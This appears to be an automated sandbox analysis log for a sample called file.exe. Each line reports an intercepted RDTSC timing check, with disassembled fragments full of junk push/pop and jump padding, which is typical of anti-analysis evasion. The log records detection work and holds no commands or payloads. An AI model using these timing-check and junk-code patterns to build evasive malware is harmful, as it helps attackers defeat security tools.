Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 723187 second address: 72318C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72318C second address: 723196 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F8F08E68346h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 723196 second address: 7231C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08BF29D5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnp 00007F8F08BF29C6h 0x00000011 jmp 00007F8F08BF29D0h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7231C7 second address: 7231E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08E68352h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pushad 0x0000000f popad 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7231E5 second address: 7231EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7278F8 second address: 72790B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8F08E6834Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72790B second address: 72792D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8F08BF29D6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 728F22 second address: 728F54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jbe 00007F8F08E6835Fh 0x0000000b jmp 00007F8F08E68359h 0x00000010 push eax 0x00000011 push edx 0x00000012 jp 00007F8F08E68346h 0x00000018 jc 00007F8F08E68346h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72D429 second address: 72D42F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72D42F second address: 72D433 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72D433 second address: 72D43D instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8F08BF29C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72D43D second address: 72D448 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72D448 second address: 72D452 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F8F08BF29C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72D452 second address: 72D456 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72D456 second address: 72D460 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72D460 second address: 72D46E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72D760 second address: 72D777 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F08BF29D1h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72D777 second address: 72D77C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72D77C second address: 72D786 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F8F08BF29C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72D786 second address: 72D791 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72D791 second address: 72D797 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72DB94 second address: 72DB98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72DB98 second address: 72DBA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72DBA6 second address: 72DBAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72DBAA second address: 72DBAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72DBAE second address: 72DBDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F08E6834Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jo 00007F8F08E68352h 0x00000011 jne 00007F8F08E68346h 0x00000017 jl 00007F8F08E68346h 0x0000001d popad 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72DBDB second address: 72DBDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72DBDF second address: 72DBE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72DBE3 second address: 72DBE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72DBE9 second address: 72DBF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72DBF3 second address: 72DC28 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08BF29D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F8F08BF29D6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72DC28 second address: 72DC2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72DD8B second address: 72DDB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F08BF29D1h 0x00000009 pop ecx 0x0000000a jp 00007F8F08BF29D2h 0x00000010 popad 0x00000011 push esi 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E06E second address: 72E07A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F8F08E68346h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E07A second address: 72E094 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007F8F08BF29D2h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E311 second address: 72E315 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E315 second address: 72E31F instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8F08BF29C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E7B7 second address: 72E7CF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F8F08E68351h 0x00000008 pop edi 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E7CF second address: 72E7E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jng 00007F8F08BF29C6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E7E1 second address: 72E802 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08E68355h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jo 00007F8F08E68346h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72D02C second address: 72D049 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F08BF29D8h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72D049 second address: 72D060 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8F08E68351h 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B362E second address: 6B3635 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B3635 second address: 6B3641 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F8F08E68346h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EABB3 second address: 6EABB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB235 second address: 6EB23A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB23A second address: 6EB264 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 1EB55079h 0x0000000f mov ch, C3h 0x00000011 call 00007F8F08BF29C9h 0x00000016 pushad 0x00000017 jmp 00007F8F08BF29CCh 0x0000001c push ecx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB264 second address: 6EB27F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007F8F08E6834Bh 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB27F second address: 6EB283 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB283 second address: 6EB2B6 instructions: 0x00000000 rdtsc 0x00000002 js 00007F8F08E68346h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b mov eax, dword ptr [eax] 0x0000000d jmp 00007F8F08E68359h 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 pushad 0x00000017 ja 00007F8F08E6834Ch 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB4DA second address: 6EB4F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08BF29CCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 je 00007F8F08BF29C6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB4F9 second address: 6EB4FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB4FE second address: 6EB521 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8F08BF29D6h 0x00000008 jmp 00007F8F08BF29D0h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov eax, dword ptr [eax] 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB521 second address: 6EB526 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB526 second address: 6EB530 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F8F08BF29C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB651 second address: 6EB656 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB74F second address: 6EB798 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push ebx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop ebx 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f mov ecx, dword ptr [ebp+122D2C40h] 0x00000015 push 00000004h 0x00000017 push 00000000h 0x00000019 push esi 0x0000001a call 00007F8F08BF29C8h 0x0000001f pop esi 0x00000020 mov dword ptr [esp+04h], esi 0x00000024 add dword ptr [esp+04h], 00000017h 0x0000002c inc esi 0x0000002d push esi 0x0000002e ret 0x0000002f pop esi 0x00000030 ret 0x00000031 push edx 0x00000032 mov dh, 42h 0x00000034 pop edi 0x00000035 nop 0x00000036 push eax 0x00000037 push edx 0x00000038 jnl 00007F8F08BF29CCh 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EBB00 second address: 6EBB0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EBB0E second address: 6EBB15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EBB15 second address: 6EBB75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F8F08E68358h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push eax 0x0000000d pushad 0x0000000e movzx edi, cx 0x00000011 jng 00007F8F08E68346h 0x00000017 popad 0x00000018 pop ecx 0x00000019 push 0000001Eh 0x0000001b push 00000000h 0x0000001d push ebp 0x0000001e call 00007F8F08E68348h 0x00000023 pop ebp 0x00000024 mov dword ptr [esp+04h], ebp 0x00000028 add dword ptr [esp+04h], 0000001Bh 0x00000030 inc ebp 0x00000031 push ebp 0x00000032 ret 0x00000033 pop ebp 0x00000034 ret 0x00000035 mov dword ptr [ebp+122D3AECh], eax 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f push esi 0x00000040 pop esi 0x00000041 pushad 0x00000042 popad 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EBB75 second address: 6EBB7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F8F08BF29C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EBB7F second address: 6EBB83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EBF35 second address: 6EBF3B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EBF3B second address: 6EBF40 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EBF40 second address: 6EBF4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 733188 second address: 73318E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 733430 second address: 733437 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 733437 second address: 73343E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 733574 second address: 733589 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08BF29D1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7338B2 second address: 7338DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08E68358h 0x00000007 jmp 00007F8F08E6834Dh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 733A3A second address: 733A40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 733A40 second address: 733A45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 733A45 second address: 733A4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 733A4B second address: 733A4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 733A4F second address: 733A60 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8F08BF29C6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7360F8 second address: 736118 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08E68357h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 738D89 second address: 738DB4 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8F08BF29CEh 0x00000008 jmp 00007F8F08BF29D2h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 738DB4 second address: 738DB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73904B second address: 739070 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F08BF29D9h 0x00000009 js 00007F8F08BF29C6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 739070 second address: 73907F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 je 00007F8F08E68346h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7391FD second address: 739214 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8F08BF29C6h 0x00000008 jno 00007F8F08BF29C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 popad 0x00000013 pop eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73E2D7 second address: 73E310 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jnc 00007F8F08E6835Ch 0x0000000b jmp 00007F8F08E6834Dh 0x00000010 pushad 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 ja 00007F8F08E68346h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73E310 second address: 73E316 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73DDFC second address: 73DE00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74326D second address: 743273 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 743273 second address: 74329B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8F08E68346h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F8F08E68359h 0x0000000f push ecx 0x00000010 push esi 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74329B second address: 7432A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7432A7 second address: 7432AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7432AB second address: 7432B5 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8F08BF29C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 743732 second address: 743757 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ecx 0x00000006 push edx 0x00000007 pop edx 0x00000008 pop ecx 0x00000009 popad 0x0000000a push edx 0x0000000b jmp 00007F8F08E68352h 0x00000010 jo 00007F8F08E68352h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 743757 second address: 74375D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 743A21 second address: 743A2B instructions: 0x00000000 rdtsc 0x00000002 js 00007F8F08E68346h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 743A2B second address: 743A4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jmp 00007F8F08BF29D2h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 743A4F second address: 743A53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
